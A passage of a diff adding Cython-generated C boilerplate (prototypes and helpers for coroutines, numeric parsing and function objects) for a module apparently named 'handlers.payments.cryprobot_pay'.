CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* PyObject_Unicode.proto */ +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Str(obj)) +#else +#define __Pyx_PyObject_Unicode(obj)\ + (likely(PyUnicode_CheckExact(obj)) ? __Pyx_NewRef(obj) : PyObject_Unicode(obj)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* GetAttr.proto */ +static CYTHON_INLINE PyObject *__Pyx_GetAttr(PyObject *, PyObject *); + +/* HasAttr.proto */ +static CYTHON_INLINE int __Pyx_HasAttr(PyObject *, PyObject *); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pynumber_float.proto */ +static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj); +#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : __Pyx__PyNumber_Float(x)) + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.cryprobot_pay" */ +/* #### Code section: 